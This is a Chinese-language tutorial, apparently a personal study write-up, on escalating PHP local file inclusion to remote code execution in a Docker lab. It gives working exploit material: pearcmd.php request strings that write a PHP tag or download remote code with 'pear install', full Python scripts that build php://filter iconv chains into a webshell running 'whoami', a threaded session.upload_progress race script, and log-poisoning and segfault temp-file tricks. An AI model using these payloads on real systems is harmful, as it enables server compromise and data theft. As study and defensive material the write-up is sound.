0x00前言
梳理学习一下
环境这里采用docker环境
docker run -d --name testweb -p 9999:80 -v /testweb:/var/www/html php:7.4-apache
然后建立一个文件包含代码
<?php
@include $_REQUEST['file'];
?>
0x01包含pearcmd
1.1pearcmd介绍
pear全称PHP Extension and Application Repository,pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,在docker中默认安装安装的路径在/usr/local/lib/php,如果是apt安装路径在/usr/share/php/
1.2利用条件
目标装了pear组件,register_argc_argv为On,可以包含到pearcmd.php文件(不受open_basedir和文件后缀束缚)
docker环境下默认开启register_argc_argv 默认安装pearcmd.php
register_argc_argv为On时$_SERVER['argv']和$_SERVER['argc']会记录一些东西,在web模式下,传参时用+连接的值的个数就是argc,各个参数被存到argv里
<?php
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>
1.3无网环境利用
命令生成的文件位置在当前目录下的mo60.php
pear config-create /'<?=phpinfo()>' ./mo60.php
这里使用burp抓包,直接url中get传参会把<这些字符自动编码
?file=/usr/local/lib/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+./mo60.php
这里没有权限创建到web目录
改到tmp目录下
?file=/usr/local/lib/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+/tmp/mo60.txt
然后利用文件包含即可执行
1.4 可出网利用
下载文件
pear install -R / http://192.168.1.1/2.txt
构造语句
?file=/usr/local/lib/php/pearcmd.php&+install+-R+/+http://xxxxxx/1.txt
下载到了/tmp/pear/download/1.txt,web目录有权限可以下载到web目录
然后包含
http://10.68.1.3:9999/?file=/tmp/pear/download/1.txt
0x02 phpinfo与条件竞争
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
在当前环境下添加一个phpinfo.php
<?php phpinfo();?>
所以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名:
这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用,所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。
这里使用原作者给出的利用脚本
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py
修改一下配置信息
用100线程进行了大概110次尝试,最终成功,成功后会写入一个新的文件/tmp/g
利用
2.1Windows 通配符
上面的方法存在2个条件
- 1.存在phpinfo等可以泄露临时文件名的页面
- 2.网络条件好,才能让Race Condition成功
如果在没有phpinfo或者其他方式获取文件名的情况下但是如果目标操作系统是Windows,我们可以借助一些特殊的Tricks来实现文件包含的利用,PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的。
MSDN官方文档说明
- DOS_STAR:即 <,匹配0个以上的字符
- DOS_QM:即>,匹配1个字符
- DOS_DOT:即",匹配点号
那么我们只要包含tmp路径/php<<就可以进行rce了,我的测试环境如下f.php文件包含的,phpsEFshs来模拟session文件
然后包含php<< 成功执行phpinfo
f.php?file=php<<
0x03使用php://filter将任意文件转换成Webshell
这个来源于hxp2021的另一题counter,国外一个大佬的非预期解法:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
主要的思路就是利用php伪协议的转换过滤器,通过字符集转换来生成特定的内容,同时利用base64“宽松的解析”(当需要解析的字符串中含有base64表中不存在的字符时,不会报错,而是将其丢弃并继续解析),将其中不可见的字符丢掉,只剩下我们想要的结果。
如何利用字符集转换生成我们想要的内容(filter chain的寻找)其实是这个trick的核心部分,Zeddy的文章中有讲到该如何fuzz,同时wupco师傅也给出了现成的结果以及fuzz脚本:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
exp
import requests
url = "http://10.68.1.3:9999/"
file_to_use = "/etc/hosts"
command = "whoami"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"file": final_payload
})
print(r.text)
成功执行
3.1限制
某些字符集在某些系统并不支持,比如Ubuntu18.04解决的办法其实并不难,只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了,这里直接使用Smity师傅脚本
import requests
#参数file
url = "http://10.68.1.3:9999/"
file_to_use = "index.php"
command = "whoami"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
"0": command,
"file": final_payload
})
print(r.text)
0x04 session.upload_progress与Session文件包含
PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件:
- 目标环境开启了session.upload_progress.enable选项
- 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
- 请求的Cookie中包含Session ID
PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。
我们可以尝试发送满足上述条件的数据包来测试一下,但会发现虽然我们可以让PHP开启Session,从而在/tmp目录下遗留下Session文件
但这个文件内容是空的
原因是,PHP中还有另外一个配置项session.upload_progress.cleanup,默认开启。在这个选项开启时,PHP会在上传请求被读取完成后自动清理掉这个Session
所以,默认情况下,我们需要在Session文件被清理前利用它,这也会用到条件竞争(Race Condition)因为这里的Session文件名是可控的
这里使用p牛的脚本
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://10.68.1.3:9999/index.php'
session = requests.session()
flag = 'mo60'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)
运行后成功写入
这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
0x05日志文件包含
在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含日志文件
查看日志文件发现成功写入
一般的日志文件只有root组才能访问,所以我们无法包含,所以这里包含失败了
如果是root权限的情况下找不到中间件日志可以通过包含ssh日志,设置登入用户名为phpinfo();
然后包含/var/log/secure 即可
可以根据对方机器上出现的服务来进行测试
0x06 Segfault遗留下TEMP文件
PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。
国内的安全研究者王一航 曾发现过一个会导致PHP7 crash的方法
include 'php://filter/string.strip_tags/resource=/etc/passwd';
这个Bug在7.1.20以后被修复,这里使用7.1.19版本的PHP进行尝试
docker run -d --name testweb -p 9999:80 -v /testweb:/var/www/html php:7.1.19-apache
文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白
我们可以尝试发送多次这个请求,然后来到容器里,可见有多个临时文件都被留在了/tmp目录里:
可以多发送几次来减少爆破的时间,以及成功几率
0x07参考
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://k1te.cn/2022/01/10/LFI%E5%AD%A6%E4%B9%A0/
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/B1A2JIjjm?type=view
https://wx.zsxq.com/dweb2/index/topic_detail/218285425841411
https://tttang.com/archive/1395/#toc_craft-base64-payload
https://blog.csdn.net/qq_50643984/article/details/126598547
https://www.jianshu.com/p/dfd049924258